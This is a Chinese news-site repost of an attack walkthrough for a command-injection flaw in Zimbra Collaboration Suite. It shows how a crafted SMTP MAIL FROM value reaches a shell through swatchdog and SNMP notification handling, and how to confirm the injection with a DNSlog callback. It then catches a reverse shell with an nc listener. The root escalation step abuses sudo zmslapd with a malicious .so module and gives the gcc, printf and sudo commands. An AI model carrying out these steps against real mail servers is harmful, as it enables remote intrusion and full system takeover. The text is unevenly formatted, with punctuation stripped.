新闻详情

新闻详情

首页 / 资讯中心 / 详情

Zimbra Collaboration Suite 命令注入漏洞分析

发布时间:2026/9/29 8:08:25来源:尧图网络
Zimbra Collaboration Suite 命令注入漏洞分析
一、前置条件Zimbra Collaboration Suite 版本低于 10.1.20且有 Zimbra_snmp(简单网络管理协议) 服务以及开启着 swatchdog(监控日志文件)观察到 Zimbra 开启了 25 端口25端口是SMTP [简单邮件传输协议] 的默认端口所以攻击载荷从 SMTP 进入穿越 Zimbra 内部的日志 → 监控 → 通知处理链最终在 SNMP 通知组件的 shell 命令拼接处被执行。外部可见面只有 SMTP/opt/zimbra/data/tmp/.swatchdog_script.* 里 donotify(SERVICE $2, ...) 没做任何校验原样流入dosnmpsub dosnmp : 反引号 $args{SERVICE} 直接拼接watchfor / : (\S) (.*) 捕获组无过滤$2 来自日志行Zimbra 自己产生的正常日志行长这样zmconfigd[pid]: Service status change: mail.zimbra.local mta changed from stopped to running ^^^^^^^^^^^ ^^^ $1 $2正常是服务名但 postfix(邮件传输代理) 会把 SMTP 客户端输入写进同一个 /var/log/zimbra.log。我们复现时注入的 MAIL FROMMAIL FROM:x: Service status change: h ;命令; changed from stopped to runningyy在这里扮演的是SMTP邮件地址中的域名部分它让一整段包含恶意命令的文字在格式上符合邮件地址的要求。这是一种将攻击载荷命令隐藏在邮件地址中的技巧产生的日志行postfix/smtpd: warning: Illegal address syntax ... in MAIL command: x: Service status change: h ;命令; changed from stopped to runningy正则照样匹配——它只认文本模式不认这行日志是谁产生的。于是 $2 ;命令;攻击者输入直达 shell所以整体流程就是 发送 SMTP 激活 snmp_trap服务 然后 swatchdog 在处理 snmp_trap 时将 snmp_notify 中的值 直接拼接到 系统命令中 从而进入到 shell二、开始攻击泄露了主机名mail.zimbra.local及 邮件服务软件Postfix以及确认开启了 25 端口说明SMTP服务开启是攻击的入口所以我们的构造注入点就是在 Service status change: service changed …… 中的 service 字段先依据 dnslog.cn 按 Get SubDomain 获取 dnslog-domain发送后回去 看到回显tail -f /var/log/zimbra.log证明 OOB [ Out-of-Band带外] 探测确认可注入用来盲验证命令有没有执行开始构造完整的攻击脚本在运行 exp.py 前 先开启一个新的终端nc -lvvp 4444再运行脚本进入到shell但是只是普通的 zimbra 用户三、提权拿root权限先看 sudo -l 找免密 能以 root 执行的命令NOPASSWD 免密ALL 以任意身份含 root执行这就是提权突破口发现尾部 exec /opt/zimbra/common/libexec/slapd $——参数无过滤透传给 root 权限的 slapd而 slapd 的 -f 配置文件支持 moduleload 加载任意 .so。利用面成立先编写恶意代码1.写恶意模块源码2.编译成 .sogcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c3.写 slapd 配置printf include /opt/zimbra/common/etc/openldap/schema/core.schema\nmoduleload /tmp/evil.so\n /tmp/slapd.conf4.用 sudo 触发sudo /opt/zimbra/libexec/zmslapd -f /tmp/slapd.conf5.拿 root shell/tmp/rootbash -p
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

步进电机驱动器接线本质:信号链路精准匹配指南 2026/9/29 9:55:12

步进电机驱动器接线本质:信号链路精准匹配指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
OpenCV入门:图像读取、显示与写入的完整实践指南 2026/9/29 9:55:03

OpenCV入门:图像读取、显示与写入的完整实践指南

1. 准备工作:先把OpenCV环境搞定说实话,OpenCV入门最大的门槛往往不是代码本身,而是环境安装。我见过太多初学者卡在import cv2这一步,明明按照教程装完了,一运行就报ModuleNotFoundError,心态直接崩掉。这…

阅读更多 →
NoneBot2 适配器开发实战:从零编写对接新平台的 Adapter、Bot、Event 与 Message 2026/9/29 9:54:56

NoneBot2 适配器开发实战:从零编写对接新平台的 Adapter、Bot、Event 与 Message

后端即时通讯 【免费下载链接】nonebot2 跨平台 Python 异步聊天机器人框架 / Asynchronous multi-platform chatbot framework written in Python 项目地址: https://gitcode.com/gh_mirrors/no/nonebot2 点击查看 免费下载 适配器(Adapter&#xff09…

阅读更多 →
华为Hi3921EV100 HPLC模组深度拆解与电力载波收发原理 2026/9/29 9:54:56

华为Hi3921EV100 HPLC模组深度拆解与电力载波收发原理

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
深入理解DDoS攻击溯源与取证方法(实战笔记) 2026/9/29 9:54:50

深入理解DDoS攻击溯源与取证方法(实战笔记)

本文深入探讨DDoS攻击溯源与取证方法(实战笔记),涵盖背景分析、原理剖析、实战步骤、配置示例、优化建议和避坑指南。 在DDoS与CC防护领域,DDoS攻击溯源与取证方法(实战笔记)是开发者和技术负责人持续关注的…

阅读更多 →
DeepSeek V3.1 推理解析:从 MoE 到 MLA 的 Prefill/Decode 全链路拆解 2026/9/29 9:54:50

DeepSeek V3.1 推理解析:从 MoE 到 MLA 的 Prefill/Decode 全链路拆解

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉